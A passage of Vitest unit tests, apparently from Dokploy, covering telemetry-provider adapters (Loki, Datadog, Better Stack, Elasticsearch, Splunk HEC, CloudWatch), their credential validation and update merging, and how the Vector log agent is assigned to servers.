expect(targets).toEqual(["server-1", null]);
expect(mocks.updates.map((u) => u.table)).toEqual([
server,
webServerSettings,
]);
expect(render(mocks.updates[0]?.values.telemetryProviderIds)).toBe(
'array_remove("server"."telemetryProviderIds", $1)',
);
expect(render(mocks.updates[1]?.values.telemetryProviderIds)).toBe(
'array_remove("webServerSettings"."telemetryProviderIds", $1)',
);
expect(render(mocks.updates[1]?.values.vectorAgentOrganizationId)).toBe(
'CASE WHEN cardinality(array_remove("webServerSettings"."telemetryProviderIds", $1)) = 0 THEN NULL ELSE "webServerSettings"."vectorAgentOrganizationId" END',
);
});
it("reconciles exactly the hosts whose selection the transaction updated", async () => {
mocks.deleted = [{ telemetryProviderId: "lp-1" }];
mocks.updatedServers = [{ serverId: "server-1" }, { serverId: "server-2" }];
mocks.updatedLocal = [];
const { targets } = await removeTelemetryProvider("lp-1");
expect(targets).toEqual(["server-1", "server-2"]);
expect(mocks.queried).not.toHaveBeenCalled();
});
it("does not touch assignments when the provider does not exist", async () => {
mocks.deleted = [];
await expect(removeTelemetryProvider("missing")).rejects.toMatchObject({
code: "NOT_FOUND",
});
expect(mocks.updates).toEqual([]);
});
});
@@ -0,0 +1,392 @@
import {
getTelemetryProviderAdapter,
telemetryProviderAdapters,
} from "@dokploy/server/services/logs-and-metrics/providers/registry";
import type { TelemetryProviderRuntimeConfig } from "@dokploy/server/services/logs-and-metrics/types";
import { describe, expect, it } from "vitest";
const baseConfig: TelemetryProviderRuntimeConfig = {
telemetryProviderId: "provider-1",
name: "test",
signals: ["logs"],
endpoint: null,
apiKey: null,
apiSecret: null,
extraConfig: null,
};
describe("getTelemetryProviderAdapter", () => {
it("returns the registered adapter for each known type", () => {
expect(getTelemetryProviderAdapter("loki").type).toBe("loki");
expect(getTelemetryProviderAdapter("datadog").type).toBe("datadog");
expect(getTelemetryProviderAdapter("betterstack").type).toBe("betterstack");
expect(getTelemetryProviderAdapter("elasticsearch").type).toBe(
"elasticsearch",
);
expect(getTelemetryProviderAdapter("splunk_hec").type).toBe("splunk_hec");
expect(getTelemetryProviderAdapter("aws_cloudwatch").type).toBe(
"aws_cloudwatch",
);
});
it("throws an explicit error for an unregistered type", () => {
// @ts-expect-error: intentionally an unregistered type
expect(() => getTelemetryProviderAdapter("unknown")).toThrow(
/No TelemetryProviderAdapter registered/,
);
});
});
describe("lokiAdapter.toVectorSink", () => {
it("maps endpoint + labels, without tenant_id if not set", () => {
const adapter = telemetryProviderAdapters.loki;
const sink = adapter.toVectorSink(
{ ...baseConfig, endpoint: "https://loki.example.com" },
"sink_1",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("loki");
expect(sink.inputs).toEqual(["dokploy_scope"]);
expect(sink.endpoint).toBe("https://loki.example.com");
expect(sink.labels).toMatchObject({
dokploy_project: "{{ dokploy_project }}",
dokploy_environment: "{{ dokploy_environment }}",
dokploy_application: "{{ dokploy_application }}",
dokploy_organization: "{{ dokploy_organization }}",
dokploy_server: "{{ dokploy_server }}",
});
expect(sink.tenant_id).toBeUndefined();
expect(sink.buffer).toEqual({
type: "disk",
max_size: 268_435_488,
when_full: "block",
});
});
it("includes tenant_id when present in extraConfig", () => {
const adapter = telemetryProviderAdapters.loki;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://loki.example.com",
extraConfig: { tenantId: "tenant-a" },
},
"sink_1",
"dokploy_scope",
"logs",
);
expect(sink.tenant_id).toBe("tenant-a");
});
it("has no toVectorTransform — goes directly scope -> sink", () => {
expect(telemetryProviderAdapters.loki.toVectorTransform).toBeUndefined();
});
});
describe("datadogAdapter.toVectorSink", () => {
it("defaults site to datadoghq.com and sets no `tags` field (datadog_logs has none)", () => {
const adapter = telemetryProviderAdapters.datadog;
const sink = adapter.toVectorSink(
{ ...baseConfig, apiKey: "dd-key" },
"sink_2",
"transform_2",
"logs",
);
expect(sink.type).toBe("datadog_logs");
expect(sink.default_api_key).toBe("dd-key");
expect(sink.site).toBe("datadoghq.com");
expect(sink.tags).toBeUndefined();
expect(sink.inputs).toEqual(["transform_2"]);
});
it("uses extraConfig.site when present", () => {
const adapter = telemetryProviderAdapters.datadog;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "dd-key",
extraConfig: { site: "datadoghq.eu" },
},
"sink_2",
"transform_2",
"logs",
);
expect(sink.site).toBe("datadoghq.eu");
});
it("strips a pasted scheme/trailing slash from extraConfig.site instead of interpolating it as-is", () => {
const adapter = telemetryProviderAdapters.datadog;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "dd-key",
extraConfig: { site: "https://datadoghq.eu/" },
},
"sink_2",
"transform_2",
"logs",
);
expect(sink.site).toBe("datadoghq.eu");
});
it("builds .ddtags from the scoping fields in toVectorTransform, since datadog_logs has no `tags` option (vector generate-schema)", () => {
const adapter = telemetryProviderAdapters.datadog;
expect(adapter.toVectorTransform).toBeDefined();
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_2",
"dokploy_scope",
"logs",
);
expect(transform?.type).toBe("remap");
expect(transform?.inputs).toEqual(["dokploy_scope"]);
expect(transform?.source).toContain(".ddtags");
expect(transform?.source).toContain(
'"dokploy_server:" + replace(to_string!(.dokploy_server), ",", "_")',
);
});
it("escapes commas in scoping field values before building .ddtags, since ddtags is itself comma delimited", () => {
const adapter = telemetryProviderAdapters.datadog;
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_2",
"dokploy_scope",
"logs",
);
expect(transform?.source).toContain(
'replace(to_string!(.dokploy_project), ",", "_")',
);
});
});
describe("betterStackAdapter", () => {
it("toVectorTransform renames timestamp to dt, inputs point to scope transform", () => {
const adapter = telemetryProviderAdapters.betterstack;
expect(adapter.toVectorTransform).toBeDefined();
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_1",
"dokploy_scope",
"logs",
);
expect(transform).toEqual({
type: "remap",
inputs: ["dokploy_scope"],
source: ".dt = del(.timestamp)",
});
});
it("toVectorSink builds a generic http sink with bearer auth, reading from the transform id", () => {
const adapter = telemetryProviderAdapters.betterstack;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://in.logs.betterstack.com",
apiKey: "source-token",
},
"sink_3",
"transform_1",
"logs",
);
expect(sink.type).toBe("http");
expect(sink.inputs).toEqual(["transform_1"]);
expect(sink.uri).toBe("https://in.logs.betterstack.com/");
expect(sink.auth).toEqual({ strategy: "bearer", token: "source-token" });
expect(sink.compression).toBe("gzip");
});
});
describe("elasticsearchAdapter", () => {
it("has a toVectorTransform that flattens .label to a JSON string", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
expect(adapter.toVectorTransform).toBeDefined();
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_4",
"dokploy_scope",
"logs",
);
expect(transform?.type).toBe("remap");
expect(transform?.inputs).toEqual(["dokploy_scope"]);
expect(transform?.source).toContain("encode_json(.label)");
});
it("uses basic auth when a username is set", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
apiKey: "secret",
extraConfig: { username: "elastic" },
},
"sink_4",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("elasticsearch");
expect(sink.endpoints).toEqual(["https://es.example.com:9200"]);
expect(sink.auth).toEqual({
strategy: "basic",
user: "elastic",
password: "secret",
});
expect(sink.request).toBeUndefined();
});
it("falls back to an ApiKey header when no username is set", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
apiKey: "key-123",
},
"sink_4",
"dokploy_scope",
"logs",
);
expect(sink.auth).toBeUndefined();
expect(sink.request).toEqual({
headers: { Authorization: "ApiKey key-123" },
});
});
it("rejects a username set without a password instead of silently shipping unauthenticated", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
expect(() =>
adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
extraConfig: { username: "elastic" },
},
"sink_4",
"dokploy_scope",
"logs",
),
).toThrow(/Password.*required/i);
});
it("includes bulk.index only when extraConfig.index is set", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const withoutIndex = adapter.toVectorSink(
{ ...baseConfig, endpoint: "https://es.example.com:9200" },
"sink_4",
"dokploy_scope",
"logs",
);
expect(withoutIndex.bulk).toBeUndefined();
const withIndex = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
extraConfig: { index: "dokploy-%Y.%m.%d" },
},
"sink_4",
"dokploy_scope",
"logs",
);
expect(withIndex.bulk).toEqual({ index: "dokploy-%Y.%m.%d" });
});
});
describe("splunkAdapter", () => {
it("has no toVectorTransform — scoping fields ride along as plain JSON fields", () => {
expect(
telemetryProviderAdapters.splunk_hec.toVectorTransform,
).toBeUndefined();
});
it("toVectorSink maps endpoint/token, only sets index/sourcetype when present", () => {
const adapter = telemetryProviderAdapters.splunk_hec;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://splunk.example.com:8088",
apiKey: "hec-token",
},
"sink_5",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("splunk_hec_logs");
expect(sink.endpoint).toBe("https://splunk.example.com:8088");
expect(sink.default_token).toBe("hec-token");
expect(sink.encoding).toEqual({ codec: "json" });
expect(sink.index).toBeUndefined();
expect(sink.sourcetype).toBeUndefined();
const withExtras = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://splunk.example.com:8088",
apiKey: "hec-token",
extraConfig: { index: "dokploy", sourcetype: "docker" },
},
"sink_5",
"dokploy_scope",
"logs",
);
expect(withExtras.index).toBe("dokploy");
expect(withExtras.sourcetype).toBe("docker");
});
});
describe("awsCloudwatchAdapter", () => {
it("has no logs transform — scoping fields ride along as plain JSON fields", () => {
expect(
telemetryProviderAdapters.aws_cloudwatch.toVectorTransform?.(
baseConfig,
"transform_1",
"dokploy_scope",
"logs",
),
).toBeNull();
});
it("toVectorSink maps access key/secret, region and log group/stream", () => {
const adapter = telemetryProviderAdapters.aws_cloudwatch;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "AKIA...",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
},
"sink_6",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("aws_cloudwatch_logs");
expect(sink.group_name).toBe("/dokploy/logs");
expect(sink.stream_name).toBe("{{ container_name }}");
expect(sink.region).toBe("us-east-1");
expect(sink.auth).toEqual({
access_key_id: "AKIA...",
secret_access_key: "shh",
});
});
it("uses extraConfig.logStream as the stream template when set", () => {
const adapter = telemetryProviderAdapters.aws_cloudwatch;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "AKIA...",
apiSecret: "shh",
extraConfig: {
region: "us-east-1",
logGroup: "/dokploy/logs",
logStream: "{{ dokploy_application }}",
},
},
"sink_6",
"dokploy_scope",
"logs",
);
expect(sink.stream_name).toBe("{{ dokploy_application }}");
});
});
@@ -0,0 +1,661 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
insertValues: vi.fn(),
updateSet: vi.fn(),
findFirst: vi.fn(),
findMany: vi.fn(),
serverFindFirst: vi.fn(),
serverFindMany: vi.fn(),
webServerFindFirst: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({
db: {
insert: () => ({
values: (v: any) => ({
returning: () => Promise.resolve(mocks.insertValues(v)),
}),
}),
update: () => ({
set: (v: any) => ({
where: () => ({
returning: () => Promise.resolve(mocks.updateSet(v)),
}),
}),
}),
query: {
telemetryProvider: {
findFirst: mocks.findFirst,
findMany: mocks.findMany,
},
server: {
findFirst: mocks.serverFindFirst,
findMany: mocks.serverFindMany,
},
webServerSettings: { findFirst: mocks.webServerFindFirst },
},
},
}));
const {
assertProvidersBelongToOrg,
assertSignalsSupported,
createTelemetryProvider,
testTelemetryProviderConnection,
updateTelemetryProvider,
} = await import("@dokploy/server/services/logs-and-metrics/service");
const { telemetryProviderAdapters } = await import(
"@dokploy/server/services/logs-and-metrics/providers/registry"
);
beforeEach(() => {
mocks.serverFindMany.mockResolvedValue([]);
mocks.webServerFindFirst.mockResolvedValue(undefined);
});
describe("updateTelemetryProvider — targets to re-apply", () => {
const existing = {
telemetryProviderId: "lp-1",
name: "loki",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: "old",
apiSecret: null,
extraConfig: null,
enabled: true,
};
beforeEach(() => {
mocks.findFirst.mockResolvedValue(existing);
mocks.updateSet.mockReturnValue([{ ...existing, apiKey: "new" }]);
mocks.serverFindMany.mockResolvedValue([{ serverId: "server-1" }]);
mocks.webServerFindFirst.mockResolvedValue({ id: "ws-1" });
});
it("returns the servers and the local host that ship with it when a credential changes", async () => {
const { targets } = await updateTelemetryProvider("lp-1", {
apiKey: "new",
});
expect(targets).toEqual(["server-1", null]);
});
it("returns the same targets when the provider is disabled", async () => {
const { targets } = await updateTelemetryProvider("lp-1", {
enabled: false,
});
expect(targets).toEqual(["server-1", null]);
});
it("returns no targets when only the name changes or a value is re-sent unchanged", async () => {
expect(
(await updateTelemetryProvider("lp-1", { name: "renamed" })).targets,
).toEqual([]);
expect(
(
await updateTelemetryProvider("lp-1", {
endpoint: "https://loki.example.com",
})
).targets,
).toEqual([]);
});
});
describe("createTelemetryProvider — required credential fields per adapter", () => {
it("rejects a loki provider without endpoint", async () => {
await expect(
createTelemetryProvider(
{ name: "loki-prod", providerType: "loki", signals: ["logs"] } as any,
"org-1",
),
).rejects.toThrow(/endpoint/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a datadog provider without apiKey", async () => {
await expect(
createTelemetryProvider(
{ name: "dd", providerType: "datadog", signals: ["logs"] } as any,
"org-1",
),
).rejects.toThrow();
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a betterstack provider missing either field", async () => {
await expect(
createTelemetryProvider(
{
name: "bs",
providerType: "betterstack",
signals: ["logs"],
apiKey: "token-only",
} as any,
"org-1",
),
).rejects.toThrow();
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a splunk_hec provider without a HEC token", async () => {
await expect(
createTelemetryProvider(
{
name: "splunk",
providerType: "splunk_hec",
signals: ["logs"],
endpoint: "https://splunk.example.com:8088",
} as any,
"org-1",
),
).rejects.toThrow(/token/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects an aws_cloudwatch provider missing required extraConfig fields (region/log group)", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
apiKey: "AKIA...",
apiSecret: "shh",
} as any,
"org-1",
),
).rejects.toThrow(/region|log group/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a datadog provider whose apiKey only exists inside extraConfig, not the real column", async () => {
await expect(
createTelemetryProvider(
{
name: "dd",
providerType: "datadog",
signals: ["logs"],
extraConfig: { apiKey: "sneaky-value" },
} as any,
"org-1",
),
).rejects.toThrow(/api key/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects an elasticsearch provider with a username but no password (adapter.validateConfig)", async () => {
await expect(
createTelemetryProvider(
{
name: "es",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
extraConfig: { username: "elastic" },
} as any,
"org-1",
),
).rejects.toThrow(/password.*required/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("accepts an aws_cloudwatch provider with region and log group set via extraConfig", async () => {
mocks.insertValues.mockReturnValue([
{
telemetryProviderId: "lp-2",
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
},
]);
const created = await createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
apiKey: "AKIA...",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
} as any,
"org-1",
);
expect(created.telemetryProviderId).toBe("lp-2");
});
it("accepts a loki provider with endpoint", async () => {
mocks.insertValues.mockReturnValue([
{ telemetryProviderId: "lp-1", name: "loki-prod", providerType: "loki" },
]);
const created = await createTelemetryProvider(
{
name: "loki-prod",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
} as any,
"org-1",
);
expect(created.telemetryProviderId).toBe("lp-1");
expect(mocks.insertValues).toHaveBeenCalled();
});
});
describe("updateTelemetryProvider — merges partial update with existing row before validating", () => {
it("allows updating just the name without re-sending existing credentials", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "old-name",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: null,
apiSecret: null,
extraConfig: null,
});
mocks.updateSet.mockReturnValue([
{ telemetryProviderId: "lp-1", name: "new-name" },
]);
const { provider: updated, targets } = await updateTelemetryProvider(
"lp-1",
{ name: "new-name" },
);
expect(updated.name).toBe("new-name");
expect(targets).toEqual([]);
});
it("rejects clearing the only required field via update", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "loki-prod",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: null,
apiSecret: null,
extraConfig: null,
});
await expect(
updateTelemetryProvider("lp-1", { endpoint: null }),
).rejects.toThrow(/endpoint/i);
});
it("clears the old provider's credentials when providerType changes, unless new values are given", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "dd-prod",
providerType: "datadog",
signals: ["logs"],
endpoint: null,
apiKey: "old-datadog-key",
apiSecret: null,
extraConfig: { site: "datadoghq.com" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", {
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
});
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: null,
apiSecret: null,
extraConfig: null,
}),
);
});
it("merges a partial extraConfig update instead of replacing it wholesale", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "es-prod",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
apiKey: "secret",
apiSecret: null,
extraConfig: { username: "elastic", index: "custom-index" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", {
extraConfig: { username: "new-user" },
});
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({
extraConfig: { username: "new-user", index: "custom-index" },
}),
);
});
it("clears extraConfig entirely when explicitly set to null, instead of merging", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "es-prod",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
apiKey: null,
apiSecret: null,
extraConfig: { username: "elastic" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", { extraConfig: null });
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ extraConfig: null }),
);
});
it("clears an optional credential when it is explicitly set to null", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "loki-prod",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: "old-token",
apiSecret: null,
extraConfig: { username: "user" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", { apiKey: null });
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ apiKey: null }),
);
});
it("rejects clearing the elasticsearch password while a username stays saved", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "es-prod",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
apiKey: "old-password",
apiSecret: null,
extraConfig: { username: "elastic" },
});
await expect(
updateTelemetryProvider("lp-1", { apiKey: null }),
).rejects.toThrow(/Password/);
});
it("rejects a providerType change that doesn't satisfy the new type's required fields", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "dd-prod",
providerType: "datadog",
signals: ["logs"],
endpoint: null,
apiKey: "old-datadog-key",
apiSecret: null,
extraConfig: null,
});
await expect(
updateTelemetryProvider("lp-1", { providerType: "loki" }),
).rejects.toThrow(/endpoint/i);
});
});
describe("assertSignalsSupported", () => {
it("rejects a repeated signal", () => {
expect(() => assertSignalsSupported("loki", ["logs", "logs"])).toThrow(
/only be selected once/,
);
});
it("rejects a signal the type cannot send", () => {
expect(() => assertSignalsSupported("loki", ["metrics"])).toThrow(
/Grafana Loki cannot send metrics/,
);
});
it("accepts a supported subset", () => {
expect(() => assertSignalsSupported("loki", ["logs"])).not.toThrow();
});
});
describe("createTelemetryProvider — signals", () => {
it("rejects a provider whose type cannot send the selected signal", async () => {
mocks.insertValues.mockClear();
await expect(
createTelemetryProvider(
{
name: "loki",
providerType: "loki",
signals: ["metrics"],
endpoint: "https://loki.example.com",
} as any,
"org-1",
),
).rejects.toThrow(/cannot send metrics/);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
});
describe("assertProvidersBelongToOrg", () => {
beforeEach(() => {
mocks.findMany.mockResolvedValue([
{
telemetryProviderId: "lp-1",
name: "loki",
enabled: true,
signals: ["logs"],
},
]);
});
it("accepts a provider of the organization regardless of what it sends", async () => {
await expect(
assertProvidersBelongToOrg(["lp-1"], "org-1"),
).resolves.toBeUndefined();
});
it("rejects an id that is not in the organization", async () => {
await expect(
assertProvidersBelongToOrg(["lp-9"], "org-1"),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
});
it("rejects a selection where every provider is disabled", async () => {
mocks.findMany.mockResolvedValue([
{
telemetryProviderId: "lp-1",
name: "loki",
enabled: false,
signals: ["logs"],
},
]);
await expect(assertProvidersBelongToOrg(["lp-1"], "org-1")).rejects.toThrow(
/at least one enabled provider/,
);
});
});
describe("required fields scoped to a signal", () => {
beforeEach(() => {
mocks.insertValues.mockReset();
mocks.insertValues.mockReturnValue([{ telemetryProviderId: "cw-1" }]);
});
it("does not require the log group when only metrics are selected", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["metrics"],
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", metricsNamespace: "Dokploy" },
} as any,
"org-1",
),
).resolves.toMatchObject({ telemetryProviderId: "cw-1" });
});
it("does not require the metrics namespace when only logs are selected", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
} as any,
"org-1",
),
).resolves.toMatchObject({ telemetryProviderId: "cw-1" });
});
it("requires the metrics namespace when metrics are selected", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs", "metrics"],
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
} as any,
"org-1",
),
).rejects.toThrow(/Metrics namespace/);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
});
describe("signals are stored in a fixed order", () => {
it("normalizes the order on create", async () => {
mocks.insertValues.mockReset();
mocks.insertValues.mockReturnValue([{ telemetryProviderId: "dd-1" }]);
await createTelemetryProvider(
{
name: "dd",
providerType: "datadog",
signals: ["metrics", "logs"],
apiKey: "dd-key",
} as any,
"org-1",
);
expect(mocks.insertValues).toHaveBeenCalledWith(
expect.objectContaining({ signals: ["logs", "metrics"] }),
);
});
it("normalizes the order on update", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "dd-1",
name: "dd",
providerType: "datadog",
signals: ["logs"],
endpoint: null,
apiKey: "dd-key",
apiSecret: null,
extraConfig: null,
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "dd-1" }]);
await updateTelemetryProvider("dd-1", { signals: ["metrics", "logs"] });
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ signals: ["logs", "metrics"] }),
);
});
});
describe("testTelemetryProviderConnection by id", () => {
it("tests the saved provider with the signals override from the form", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "bs-1",
name: "bs",
providerType: "betterstack",
signals: ["logs"],
endpoint: "in.logs.betterstack.com",
apiKey: "token",
apiSecret: null,
extraConfig: null,
});
const spy = vi
.spyOn(telemetryProviderAdapters.betterstack, "testConnection")
.mockResolvedValue(undefined);
await testTelemetryProviderConnection({
telemetryProviderId: "bs-1",
signals: ["logs", "metrics"],
});
expect(spy).toHaveBeenCalledWith(
expect.objectContaining({
apiKey: "token",
signals: ["logs", "metrics"],
}),
);
spy.mockRestore();
});
});
describe("updateTelemetryProvider — signals", () => {
const existing = {
telemetryProviderId: "dd-1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
endpoint: null,
apiKey: "dd-key",
apiSecret: null,
extraConfig: null,
};
beforeEach(() => {
mocks.updateSet.mockReset();
mocks.serverFindFirst.mockReset();
mocks.webServerFindFirst.mockReset();
mocks.findFirst.mockResolvedValue(existing);
mocks.updateSet.mockReturnValue([{ ...existing, signals: ["metrics"] }]);
});
it("allows removing a signal while the provider is assigned and returns its targets to re-apply", async () => {
mocks.serverFindMany.mockResolvedValue([{ serverId: "server-1" }]);
mocks.webServerFindFirst.mockResolvedValue({ id: "ws-1" });
await expect(
updateTelemetryProvider("dd-1", { signals: ["metrics"] }),
).resolves.toMatchObject({
provider: { signals: ["metrics"] },
targets: ["server-1", null],
});
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ signals: ["metrics"] }),
);
});
it("rejects a type change that cannot send the saved signals", async () => {
await expect(
updateTelemetryProvider("dd-1", {
providerType: "loki",
endpoint: "https://loki.example.com",
}),
).rejects.toThrow(/Grafana Loki cannot send metrics/);
});
});
@@ -0,0 +1,305 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
setWebServerProviderIds: vi.fn(),
setServerProviderIds: vi.fn(),
getAccessibleServerIds: vi.fn(),
reconcileVectorAgent: vi.fn(),
removeVectorAgent: vi.fn(),
findServerById: vi.fn(),
assertProvidersBelongToOrg: vi.fn(),
}));
const loadAgent = async (isCloud: boolean) => {
vi.resetModules();
vi.doMock("@dokploy/server/constants", () => ({ IS_CLOUD: isCloud }));
vi.doMock("@dokploy/server/services/server", () => ({
findServerById: mocks.findServerById,
setServerProviderIds: mocks.setServerProviderIds,
getAccessibleServerIds: mocks.getAccessibleServerIds,
}));
vi.doMock("@dokploy/server/services/web-server-settings", () => ({
setWebServerProviderIds: mocks.setWebServerProviderIds,
}));
const locks = new Map<string, Promise<unknown>>();
vi.doMock("@dokploy/server/setup/vector-setup", () => ({
LOCAL_SERVER_NAME: "Dokploy Server (local)",
reconcileVectorAgent: mocks.reconcileVectorAgent,
removeVectorAgent: mocks.removeVectorAgent,
withVectorTargetLock: (
serverId: string | undefined,
fn: () => Promise<unknown>,
) => {
const key = serverId ?? "local";
const current = (locks.get(key) ?? Promise.resolve())
.catch(() => {})
.then(fn);
locks.set(key, current);
return current;
},
}));
vi.doMock("@dokploy/server/services/logs-and-metrics/service", () => ({
assertProvidersBelongToOrg: mocks.assertProvidersBelongToOrg,
}));
return await import("@dokploy/server/services/logs-and-metrics/vector-agent");
};
const sessionA = { userId: "user-a", activeOrganizationId: "org-a" };
const sessionB = { userId: "user-b", activeOrganizationId: "org-b" };
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.getAccessibleServerIds.mockResolvedValue(new Set(["server-1"]));
mocks.findServerById.mockImplementation(async (serverId: string) => ({
serverId,
name: `name-of-${serverId}`,
organizationId: "org-a",
sshKeyId: "key-1",
}));
mocks.setWebServerProviderIds.mockResolvedValue({ id: "ws-1" });
mocks.setServerProviderIds.mockResolvedValue({ serverId: "server-1" });
});
describe("applyVectorAgentSelection on the local host", () => {
it("rejects the local host in cloud without touching the database", async () => {
const { applyVectorAgentSelection } = await loadAgent(true);
await expect(
applyVectorAgentSelection(sessionA, undefined, ["lp-1"]),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
expect(mocks.setWebServerProviderIds).not.toHaveBeenCalled();
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("rejects with CONFLICT when another organization owns the local agent, without reconciling", async () => {
mocks.setWebServerProviderIds.mockResolvedValue(null);
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionB, undefined, ["mp-1"]),
).rejects.toMatchObject({ code: "CONFLICT" });
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-b", [
"mp-1",
]);
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("saves the selection and then reconciles", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await applyVectorAgentSelection(sessionA, undefined, ["lp-1"]);
expect(mocks.assertProvidersBelongToOrg).toHaveBeenCalledWith(
["lp-1"],
"org-a",
);
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-a", [
"lp-1",
]);
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith(undefined);
expect(
mocks.setWebServerProviderIds.mock.invocationCallOrder[0],
).toBeLessThan(mocks.reconcileVectorAgent.mock.invocationCallOrder[0] ?? 0);
});
it("removing the agent saves an empty selection without checking providers", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await applyVectorAgentSelection(sessionA, undefined, []);
expect(mocks.assertProvidersBelongToOrg).not.toHaveBeenCalled();
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-a", []);
